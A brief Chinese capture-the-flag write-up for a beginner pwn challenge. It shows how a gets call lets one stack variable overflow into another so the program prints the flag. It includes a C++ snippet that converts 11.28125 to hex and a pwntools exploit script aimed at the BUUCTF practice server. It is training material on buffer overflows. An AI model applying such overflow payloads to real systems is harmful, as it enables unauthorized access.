放进IDA,看到有直接catflag的指令,但是要求v2为定值
因为getsv1,所以考虑让v1溢出填充v2的值
看一下这个float在内存中的十六进制(我不知道为啥是unsignedchar,char就不行)
#include<iostream>
#include<cstdio>
#include<iomanip>
using namespace std;
int main()
{
float a=11.28125;
unsigned char *p=(unsigned char*)&a;
cout<<"0x"<<setfill(‘0‘)<<hex<<setw(2)<<(int)*(p+3)<<setw(2)<<(int)*(p+2)<<setw(2)<<(int)*(p+1)<<setw(2)<<(int)*(p+0)<<endl;
return 0;
}
然后就可以写exp了
from pwn import *
p=remote(‘node3.buuoj.cn‘,29693)
payload=‘a‘*(0x30-4)+p32(0x41348000)
p.sendline(payload)
p.interactive()
原文:https://www.cnblogs.com/diakla/p/14642764.html